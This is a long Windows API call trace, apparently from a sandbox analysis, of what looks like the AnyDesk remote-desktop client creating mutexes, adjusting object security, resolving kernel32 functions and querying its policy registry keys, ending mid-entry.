[0283.656] GetLastError () returned 0x0 [0283.656] SetLastError (dwErrCode=0x0) [0283.656] GetLastError () returned 0x0 [0283.656] SetLastError (dwErrCode=0x0) [0283.657] GetLastError () returned 0x0 [0283.657] SetLastError (dwErrCode=0x0) [0283.657] GetLastError () returned 0x0 [0283.657] SetLastError (dwErrCode=0x0) [0283.657] GetLastError () returned 0x0 [0283.657] SetLastError (dwErrCode=0x0) [0283.657] GetLastError () returned 0x0 [0283.657] SetLastError (dwErrCode=0x0) [0283.657] GetLastError () returned 0x0 [0283.657] SetLastError (dwErrCode=0x0) [0283.657] GetLastError () returned 0x0 [0283.657] SetLastError (dwErrCode=0x0) [0283.657] GetLastError () returned 0x0 [0283.657] SetLastError (dwErrCode=0x0) [0283.657] GetLastError () returned 0x0 [0283.657] SetLastError (dwErrCode=0x0) [0283.657] GetLastError () returned 0x0 [0283.658] SetLastError (dwErrCode=0x0) [0283.658] GetLastError () returned 0x0 [0283.658] SetLastError (dwErrCode=0x0) [0283.658] GetLastError () returned 0x0 [0283.658] SetLastError (dwErrCode=0x0) [0283.658] GetLastError () returned 0x0 [0283.658] SetLastError (dwErrCode=0x0) [0283.658] GetLastError () returned 0x0 [0283.658] SetLastError (dwErrCode=0x0) [0283.658] GetLastError () returned 0x0 [0283.658] SetLastError (dwErrCode=0x0) [0283.658] GetLastError () returned 0x0 [0283.658] SetLastError (dwErrCode=0x0) [0283.658] GetLastError () returned 0x0 [0283.658] SetLastError (dwErrCode=0x0) [0283.658] GetLastError () returned 0x0 [0283.658] SetLastError (dwErrCode=0x0) [0283.658] GetLastError () returned 0x0 [0283.658] SetLastError (dwErrCode=0x0) [0283.659] GetLastError () returned 0x0 [0283.659] SetLastError (dwErrCode=0x0) [0283.659] GetLastError () returned 0x0 [0283.659] SetLastError (dwErrCode=0x0) [0283.659] GetLastError () returned 0x0 [0283.659] SetLastError (dwErrCode=0x0) [0283.659] GetLastError () returned 0x0 [0283.659] SetLastError (dwErrCode=0x0) [0283.659] GetLastError () returned 0x0 [0283.659] SetLastError (dwErrCode=0x0) [0283.659] GetLastError () returned 0x0 [0283.659] SetLastError (dwErrCode=0x0) [0283.659] GetLastError () returned 0x0 [0283.659] SetLastError (dwErrCode=0x0) [0283.659] GetLastError () returned 0x0 [0283.659] SetLastError (dwErrCode=0x0) [0283.659] GetLastError () returned 0x0 [0283.659] SetLastError (dwErrCode=0x0) [0283.659] GetLastError () returned 0x0 [0283.660] SetLastError (dwErrCode=0x0) [0283.660] GetLastError () returned 0x0 [0283.660] SetLastError (dwErrCode=0x0) [0283.660] GetLastError () returned 0x0 [0283.660] SetLastError (dwErrCode=0x0) [0283.660] GetLastError () returned 0x0 [0283.660] SetLastError (dwErrCode=0x0) [0283.660] GetLastError () returned 0x0 [0283.660] SetLastError (dwErrCode=0x0) [0283.660] GetLastError () returned 0x0 [0283.660] SetLastError (dwErrCode=0x0) [0283.660] GetLastError () returned 0x0 [0283.660] SetLastError (dwErrCode=0x0) [0283.660] GetLastError () returned 0x0 [0283.660] SetLastError (dwErrCode=0x0) [0283.660] GetLastError () returned 0x0 [0283.660] SetLastError (dwErrCode=0x0) [0283.660] GetLastError () returned 0x0 [0283.661] SetLastError (dwErrCode=0x0) [0283.661] GetLastError () returned 0x0 [0283.661] SetLastError (dwErrCode=0x0) [0283.661] GetLastError () returned 0x0 [0283.661] SetLastError (dwErrCode=0x0) [0283.661] GetLastError () returned 0x0 [0283.661] SetLastError (dwErrCode=0x0) [0283.661] GetLastError () returned 0x0 [0283.661] SetLastError (dwErrCode=0x0) [0283.661] GetLastError () returned 0x0 [0283.661] SetLastError (dwErrCode=0x0) [0283.661] GetLastError () returned 0x0 [0283.661] SetLastError (dwErrCode=0x0) [0283.661] GetLastError () returned 0x0 [0283.661] SetLastError (dwErrCode=0x0) [0283.661] GetLastError () returned 0x0 [0283.661] SetLastError (dwErrCode=0x0) [0283.661] GetLastError () returned 0x0 [0283.662] SetLastError (dwErrCode=0x0) [0283.662] GetLastError () returned 0x0 [0283.662] SetLastError (dwErrCode=0x0) [0283.662] GetLastError () returned 0x0 [0283.662] SetLastError (dwErrCode=0x0) [0283.662] GetLastError () returned 0x0 [0283.662] SetLastError (dwErrCode=0x0) [0283.662] GetLastError () returned 0x0 [0283.662] SetLastError (dwErrCode=0x0) [0283.662] GetLastError () returned 0x0 [0283.662] SetLastError (dwErrCode=0x0) [0283.662] GetLastError () returned 0x0 [0283.662] SetLastError (dwErrCode=0x0) [0283.662] GetLastError () returned 0x0 [0283.662] SetLastError (dwErrCode=0x0) [0283.662] GetLastError () returned 0x0 [0283.662] SetLastError (dwErrCode=0x0) [0283.662] GetLastError () returned 0x0 [0283.663] SetLastError (dwErrCode=0x0) [0283.663] GetLastError () returned 0x0 [0283.663] SetLastError (dwErrCode=0x0) [0283.663] GetLastError () returned 0x0 [0283.663] SetLastError (dwErrCode=0x0) [0283.663] GetLastError () returned 0x0 [0283.663] SetLastError (dwErrCode=0x0) [0283.663] GetLastError () returned 0x0 [0283.663] SetLastError (dwErrCode=0x0) [0283.663] GetLastError () returned 0x0 [0283.663] SetLastError (dwErrCode=0x0) [0283.663] GetLastError () returned 0x0 [0283.663] SetLastError (dwErrCode=0x0) [0283.663] GetLastError () returned 0x0 [0283.663] SetLastError (dwErrCode=0x0) [0283.663] GetLastError () returned 0x0 [0283.663] SetLastError (dwErrCode=0x0) [0283.664] GetLastError () returned 0x0 [0283.664] SetLastError (dwErrCode=0x0) [0283.664] GetLastError () returned 0x0 [0283.664] SetLastError (dwErrCode=0x0) [0283.664] GetLastError () returned 0x0 [0283.664] SetLastError (dwErrCode=0x0) [0283.664] GetLastError () returned 0x0 [0283.664] SetLastError (dwErrCode=0x0) [0283.664] GetLastError () returned 0x0 [0283.664] SetLastError (dwErrCode=0x0) [0283.664] GetLastError () returned 0x0 [0283.664] SetLastError (dwErrCode=0x0) [0283.664] GetLastError () returned 0x0 [0283.664] SetLastError (dwErrCode=0x0) [0283.664] GetLastError () returned 0x0 [0283.665] SetLastError (dwErrCode=0x0) [0283.665] GetLastError () returned 0x0 [0283.665] SetLastError (dwErrCode=0x0) [0283.665] GetLastError () returned 0x0 [0283.665] SetLastError (dwErrCode=0x0) [0283.665] GetLastError () returned 0x0 [0283.665] SetLastError (dwErrCode=0x0) [0283.665] GetLastError () returned 0x0 [0283.665] SetLastError (dwErrCode=0x0) [0283.665] GetLastError () returned 0x0 [0283.665] SetLastError (dwErrCode=0x0) [0283.665] GetLastError () returned 0x0 [0283.665] SetLastError (dwErrCode=0x0) [0283.665] GetLastError () returned 0x0 [0283.666] SetLastError (dwErrCode=0x0) [0283.666] GetLastError () returned 0x0 [0283.666] SetLastError (dwErrCode=0x0) [0283.666] GetLastError () returned 0x0 [0283.666] SetLastError (dwErrCode=0x0) [0283.666] GetLastError () returned 0x0 [0283.666] SetLastError (dwErrCode=0x0) [0283.666] GetLastError () returned 0x0 [0283.666] SetLastError (dwErrCode=0x0) [0283.666] GetLastError () returned 0x0 [0283.666] SetLastError (dwErrCode=0x0) [0283.666] GetLastError () returned 0x0 [0283.666] SetLastError (dwErrCode=0x0) [0283.666] GetLastError () returned 0x0 [0283.666] SetLastError (dwErrCode=0x0) [0283.666] GetLastError () returned 0x0 [0283.666] SetLastError (dwErrCode=0x0) [0283.667] GetLastError () returned 0x0 [0283.667] SetLastError (dwErrCode=0x0) [0283.667] GetLastError () returned 0x0 [0283.667] SetLastError (dwErrCode=0x0) [0283.667] GetLastError () returned 0x0 [0283.667] SetLastError (dwErrCode=0x0) [0283.667] GetLastError () returned 0x0 [0283.667] SetLastError (dwErrCode=0x0) [0283.667] GetLastError () returned 0x0 [0283.667] SetLastError (dwErrCode=0x0) [0283.667] GetLastError () returned 0x0 [0283.667] SetLastError (dwErrCode=0x0) [0283.667] GetLastError () returned 0x0 [0283.667] SetLastError (dwErrCode=0x0) [0283.667] GetLastError () returned 0x0 [0283.667] SetLastError (dwErrCode=0x0) [0283.667] GetLastError () returned 0x0 [0283.667] SetLastError (dwErrCode=0x0) [0283.667] GetLastError () returned 0x0 [0283.667] SetLastError (dwErrCode=0x0) [0283.667] GetLastError () returned 0x0 [0283.667] SetLastError (dwErrCode=0x0) [0283.668] GetLastError () returned 0x0 [0283.668] SetLastError (dwErrCode=0x0) [0283.668] GetLastError () returned 0x0 [0283.668] SetLastError (dwErrCode=0x0) [0283.668] GetLastError () returned 0x0 [0283.668] SetLastError (dwErrCode=0x0) [0283.668] GetLastError () returned 0x0 [0283.668] SetLastError (dwErrCode=0x0) [0283.668] GetLastError () returned 0x0 [0283.668] SetLastError (dwErrCode=0x0) [0283.668] GetLastError () returned 0x0 [0283.668] SetLastError (dwErrCode=0x0) [0283.668] SetFilePointer (in: hFile=0x144, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2efa [0283.668] WriteFile (in: hFile=0x144, lpBuffer=0x25ef174*, nNumberOfBytesToWrite=0x79, lpNumberOfBytesWritten=0x25efaa0, lpOverlapped=0x0 | out: lpBuffer=0x25ef174*, lpNumberOfBytesWritten=0x25efaa0*=0x79, lpOverlapped=0x0) returned 1 [0283.668] ReleaseMutex (hMutex=0xd8) returned 1 [0283.669] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1995828 [0283.669] SetEvent (hEvent=0x1c0) returned 1 [0283.669] GetCurrentThreadId () returned 0x5d8 [0283.669] ConvertThreadToFiber (lpParameter=0x0) returned 0x16f6890 [0283.669] GetLastError () returned 0x0 [0283.669] SetLastError (dwErrCode=0x0) [0283.669] WaitForSingleObject (hHandle=0xd8, dwMilliseconds=0xbb8) returned 0x0 [0283.669] GetSystemTime (in: lpSystemTime=0x25efafc | out: lpSystemTime=0x25efafc*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2d, wMilliseconds=0x44)) [0283.669] GetCurrentThreadId () returned 0x5d8 [0283.669] GetCurrentProcessId () returned 0x51c [0283.669] GetLastError () returned 0x0 [0283.669] SetLastError (dwErrCode=0x0) [0283.669] GetLastError () returned 0x0 [0283.669] SetLastError (dwErrCode=0x0) [0283.669] GetLastError () returned 0x0 [0283.669] SetLastError (dwErrCode=0x0) [0283.669] GetLastError () returned 0x0 [0283.669] SetLastError (dwErrCode=0x0) [0283.669] GetLastError () returned 0x0 [0283.669] SetLastError (dwErrCode=0x0) [0283.670] GetLastError () returned 0x0 [0283.670] SetLastError (dwErrCode=0x0) [0283.670] GetLastError () returned 0x0 [0283.670] SetLastError (dwErrCode=0x0) [0283.670] GetLastError () returned 0x0 [0283.670] SetLastError (dwErrCode=0x0) [0283.670] GetLastError () returned 0x0 [0283.670] SetLastError (dwErrCode=0x0) [0283.670] GetLastError () returned 0x0 [0283.670] SetLastError (dwErrCode=0x0) [0283.670] GetLastError () returned 0x0 [0283.670] SetLastError (dwErrCode=0x0) [0283.670] GetLastError () returned 0x0 [0283.670] SetLastError (dwErrCode=0x0) [0283.670] GetLastError () returned 0x0 [0283.672] WaitForMultipleObjects (nCount=0x3, lpHandles=0x131ca64*=0x1b8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x2 [0283.672] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1995840 [0283.672] QueryPerformanceCounter (in: lpPerformanceCount=0x25efb18 | out: lpPerformanceCount=0x25efb18*=2565162603817) returned 1 [0283.672] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x19a5ff8 [0283.672] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1995840 | out: hHeap=0x1930000) returned 1 [0283.672] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a5ff8 | out: hHeap=0x1930000) returned 1 [0283.672] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1995840 [0283.673] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1995828 | out: hHeap=0x1930000) returned 1 [0283.673] QueryPerformanceFrequency (in: lpFrequency=0x25efb34 | out: lpFrequency=0x25efb34*=100000000) returned 1 [0283.673] QueryPerformanceCounter (in: lpPerformanceCount=0x25efb34 | out: lpPerformanceCount=0x25efb34*=2565162657860) returned 1 [0283.673] SwitchToFiber (lpFiber=0x16f6590) [0283.673] GetTickCount () returned 0xb8f4 [0283.673] GetLastError () returned 0x0 [0283.673] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76a70000 [0283.674] GetCurrentThreadId () returned 0x5d8 [0283.674] SetLastError (dwErrCode=0x0) [0283.674] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1995828 [0283.674] GetLastError () returned 0x0 [0283.674] GetSystemTime (in: lpSystemTime=0x294b364 | out: lpSystemTime=0x294b364*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2d, wMilliseconds=0x54)) [0283.674] GetCurrentThreadId () returned 0x5d8 [0283.674] GetCurrentProcessId () returned 0x51c [0283.674] GetLastError () returned 0x0 [0283.675] GetSecurityInfo () returned 0x0 [0283.675] LocalAlloc (uFlags=0x0, uBytes=0x44) returned 0x16d89a0 [0283.675] CreateWellKnownSid (in: WellKnownSidType=0x1, DomainSid=0x0, pSid=0x16d89a0, cbSid=0x294b2cc | out: pSid=0x16d89a0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0), cbSid=0x294b2cc) returned 1 [0283.675] BuildTrusteeWithSidA () returned 0x294b2c4 [0283.675] SetEntriesInAclW () returned 0x0 [0283.676] LocalFree (hMem=0x16d89a0) returned 0x0 [0283.676] SetSecurityInfo () returned 0x0 [0283.676] LocalFree (hMem=0x16f0008) returned 0x0 [0283.676] LocalFree (hMem=0x16f6da0) returned 0x0 [0283.676] MapViewOfFile (hFileMappingObject=0x1fc, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6000) returned 0x170000 [0283.677] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19903d8 | out: hHeap=0x1930000) returned 1 [0283.677] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a6038 | out: hHeap=0x1930000) returned 1 [0283.677] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19731c8 | out: hHeap=0x1930000) returned 1 [0283.677] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a5ff8 | out: hHeap=0x1930000) returned 1 [0283.677] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0aff0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.677] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x19a5ff8 [0283.677] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0aff0, cbMultiByte=-1, lpWideCharStr=0x19a5ff8, cchWideChar=4 | out: lpWideCharStr="mtx") returned 4 [0283.677] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0ee18, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0283.677] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19a6038 [0283.677] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0ee18, cbMultiByte=-1, lpWideCharStr=0x19a6038, cchWideChar=2 | out: lpWideCharStr="_") returned 2 [0283.677] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1a) returned 0x19731c8 [0283.677] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a6038 | out: hHeap=0x1930000) returned 1 [0283.677] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1973178 [0283.677] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x19731a0 [0283.677] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x19a6038 [0283.677] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1973178 | out: hHeap=0x1930000) returned 1 [0283.677] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19731c8 | out: hHeap=0x1930000) returned 1 [0283.678] GetLastError () returned 0x7a [0283.678] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\ad_707_gsystem_mtx") returned 0x200 [0283.678] GetLastError () returned 0x0 [0283.678] GetSecurityInfo () returned 0x0 [0283.678] LocalAlloc (uFlags=0x0, uBytes=0x44) returned 0x16d89a0 [0283.678] CreateWellKnownSid (in: WellKnownSidType=0x1, DomainSid=0x0, pSid=0x16d89a0, cbSid=0x294b2d4 | out: pSid=0x16d89a0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0), cbSid=0x294b2d4) returned 1 [0283.678] BuildTrusteeWithSidA () returned 0x294b2cc [0283.678] SetEntriesInAclW () returned 0x0 [0283.678] LocalFree (hMem=0x16d89a0) returned 0x0 [0283.678] SetSecurityInfo () returned 0x0 [0283.678] LocalFree (hMem=0x16f0008) returned 0x0 [0283.678] LocalFree (hMem=0x16f6da0) returned 0x0 [0283.678] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19903d8 | out: hHeap=0x1930000) returned 1 [0283.679] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a6038 | out: hHeap=0x1930000) returned 1 [0283.679] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19731a0 | out: hHeap=0x1930000) returned 1 [0283.679] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a5ff8 | out: hHeap=0x1930000) returned 1 [0283.679] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1d7e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.679] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x19a5ff8 [0283.679] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1d7e0, cbMultiByte=-1, lpWideCharStr=0x19a5ff8, cchWideChar=4 | out: lpWideCharStr="evt") returned 4 [0283.679] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0ee18, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0283.679] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19a6038 [0283.679] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0ee18, cbMultiByte=-1, lpWideCharStr=0x19a6038, cchWideChar=2 | out: lpWideCharStr="_") returned 2 [0283.679] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1a) returned 0x19731a0 [0283.679] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a6038 | out: hHeap=0x1930000) returned 1 [0283.679] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x19731c8 [0283.679] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1973178 [0283.680] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x19a6038 [0283.680] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19731c8 | out: hHeap=0x1930000) returned 1 [0283.680] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19731a0 | out: hHeap=0x1930000) returned 1 [0283.680] GetLastError () returned 0x7a [0283.680] GetSecurityInfo () returned 0x0 [0283.680] LocalAlloc (uFlags=0x0, uBytes=0x44) returned 0x16d89a0 [0283.680] CreateWellKnownSid (in: WellKnownSidType=0x1, DomainSid=0x0, pSid=0x16d89a0, cbSid=0x294b2d4 | out: pSid=0x16d89a0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0), cbSid=0x294b2d4) returned 1 [0283.680] BuildTrusteeWithSidA () returned 0x294b2cc [0283.680] SetEntriesInAclW () returned 0x0 [0283.681] LocalFree (hMem=0x16d89a0) returned 0x0 [0283.681] SetSecurityInfo () returned 0x0 [0283.681] LocalFree (hMem=0x16f0008) returned 0x0 [0283.681] LocalFree (hMem=0x16f6da0) returned 0x0 [0283.681] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19903d8 | out: hHeap=0x1930000) returned 1 [0283.681] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a6038 | out: hHeap=0x1930000) returned 1 [0283.681] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1973178 | out: hHeap=0x1930000) returned 1 [0283.681] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a5ff8 | out: hHeap=0x1930000) returned 1 [0283.681] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a6018 | out: hHeap=0x1930000) returned 1 [0283.681] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x19a6018 [0283.681] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1962da0 [0283.681] GetLastError () returned 0x0 [0283.682] GetSystemTime (in: lpSystemTime=0x294b2e0 | out: lpSystemTime=0x294b2e0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2d, wMilliseconds=0x54)) [0283.682] GetCurrentThreadId () returned 0x5d8 [0283.682] GetCurrentProcessId () returned 0x51c [0283.682] GetLastError () returned 0x0 [0283.682] GetSystemTime (in: lpSystemTime=0x294b364 | out: lpSystemTime=0x294b364*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2d, wMilliseconds=0x54)) [0283.682] GetCurrentThreadId () returned 0x5d8 [0283.682] GetCurrentProcessId () returned 0x51c [0283.682] GetLastError () returned 0x0 [0283.682] GetProcessId (Process=0xffffffff) returned 0x51c [0283.682] ProcessIdToSessionId (in: dwProcessId=0x51c, pSessionId=0x294b398 | out: pSessionId=0x294b398) returned 1 [0283.682] ReleaseMutex (hMutex=0x200) returned 1 [0283.683] SetEvent (hEvent=0x204) returned 1 [0283.683] GetLastError () returned 0x0 [0283.683] GetSystemTime (in: lpSystemTime=0x294b364 | out: lpSystemTime=0x294b364*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2d, wMilliseconds=0x54)) [0283.683] GetCurrentThreadId () returned 0x5d8 [0283.683] GetCurrentProcessId () returned 0x51c [0283.683] GetLastError () returned 0x0 [0283.683] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76a70000 [0283.683] GetProcAddress (hModule=0x76a70000, lpProcName="GetNativeSystemInfo") returned 0x76a9106d [0283.684] GetProcAddress (hModule=0x76a70000, lpProcName="IsWow64Process") returned 0x76a8193e [0283.684] GetProcAddress (hModule=0x76a70000, lpProcName="WTSGetActiveConsoleSessionId") returned 0x76b044e9 [0283.684] GetProcAddress (hModule=0x76a70000, lpProcName="ProcessIdToSessionId") returned 0x76a81275 [0283.684] GetProcAddress (hModule=0x76a70000, lpProcName="GetCurrentProcessId") returned 0x76a811f8 [0283.684] GetProcAddress (hModule=0x76a70000, lpProcName="GetProcessId") returned 0x76aacef4 [0283.684] GetProcAddress (hModule=0x76a70000, lpProcName="GetLogicalProcessorInformation") returned 0x76b04d01 [0283.685] GetProcAddress (hModule=0x76a70000, lpProcName="LoadLibraryW") returned 0x76a848e3 [0283.685] GetProcAddress (hModule=0x76a70000, lpProcName="GetProcAddress") returned 0x76a81222 [0283.685] GetProcAddress (hModule=0x76a70000, lpProcName="FreeLibrary") returned 0x76a83478 [0283.685] GetProcAddress (hModule=0x76a70000, lpProcName="InitializeSRWLock") returned 0x76fb8456 [0283.685] GetProcAddress (hModule=0x76a70000, lpProcName="AcquireSRWLockExclusive") returned 0x76fb29f1 [0283.685] GetProcAddress (hModule=0x76a70000, lpProcName="AcquireSRWLockShared") returned 0x76fb2560 [0283.685] GetProcAddress (hModule=0x76a70000, lpProcName="ReleaseSRWLockExclusive") returned 0x76fb29ab [0283.686] GetProcAddress (hModule=0x76a70000, lpProcName="ReleaseSRWLockShared") returned 0x76fb25a9 [0283.686] GetProcAddress (hModule=0x76a70000, lpProcName="TryAcquireSRWLockExclusive") returned 0x76fc4892 [0283.686] GetProcAddress (hModule=0x76a70000, lpProcName="TryAcquireSRWLockShared") returned 0x77028162 [0283.686] GetProcAddress (hModule=0x76a70000, lpProcName="GetTickCount64") returned 0x76a9eeb0 [0283.686] GetProcAddress (hModule=0x76a70000, lpProcName="SetFileInformationByHandle") returned 0x76aacbec [0283.686] GetProcAddress (hModule=0x76a70000, lpProcName="GetModuleFileNameExW") returned 0x0 [0283.687] GetProcAddress (hModule=0x76a70000, lpProcName="K32GetModuleFileNameExW") returned 0x76aab21b [0283.687] GetLastError () returned 0x0 [0283.687] GetSystemTime (in: lpSystemTime=0x294b364 | out: lpSystemTime=0x294b364*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2d, wMilliseconds=0x63)) [0283.687] GetCurrentThreadId () returned 0x5d8 [0283.687] GetCurrentProcessId () returned 0x51c [0283.687] GetLastError () returned 0x0 [0283.687] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.proxy.minsearchinterval", lpReserved=0x0, lpType=0x294b250, lpData=0x0, lpcbData=0x294b254*=0x0 | out: lpType=0x294b250*=0x0, lpData=0x0, lpcbData=0x294b254*=0x0) returned 0x6 [0283.687] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x294b27c | out: phkResult=0x294b27c*=0x0) returned 0x2 [0283.688] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970bb8 | out: hHeap=0x1930000) returned 1 [0283.688] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a60c8 [0283.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.688] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x19a60d8 [0283.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x19a60d8, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.688] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a60d8 | out: hHeap=0x1930000) returned 1 [0283.688] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4f) returned 0x1972100 [0283.688] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3e) returned 0x1970bb8 [0283.688] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972100 | out: hHeap=0x1930000) returned 1 [0283.688] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a60d8 [0283.688] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1962e60 [0283.689] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x48) returned 0x198c2d8 [0283.689] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a60d8 | out: hHeap=0x1930000) returned 1 [0283.689] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a60c8 | out: hHeap=0x1930000) returned 1 [0283.689] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3e) returned 0x1970c00 [0283.689] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.proxy.minsearchinterval", lpReserved=0x0, lpType=0x294b250, lpData=0x0, lpcbData=0x294b254*=0x0 | out: lpType=0x294b250*=0x0, lpData=0x0, lpcbData=0x294b254*=0x0) returned 0x6 [0283.689] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x294b27c | out: phkResult=0x294b27c*=0x0) returned 0x2 [0283.689] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970c00 | out: hHeap=0x1930000) returned 1 [0283.689] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a60a8 | out: hHeap=0x1930000) returned 1 [0283.689] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, 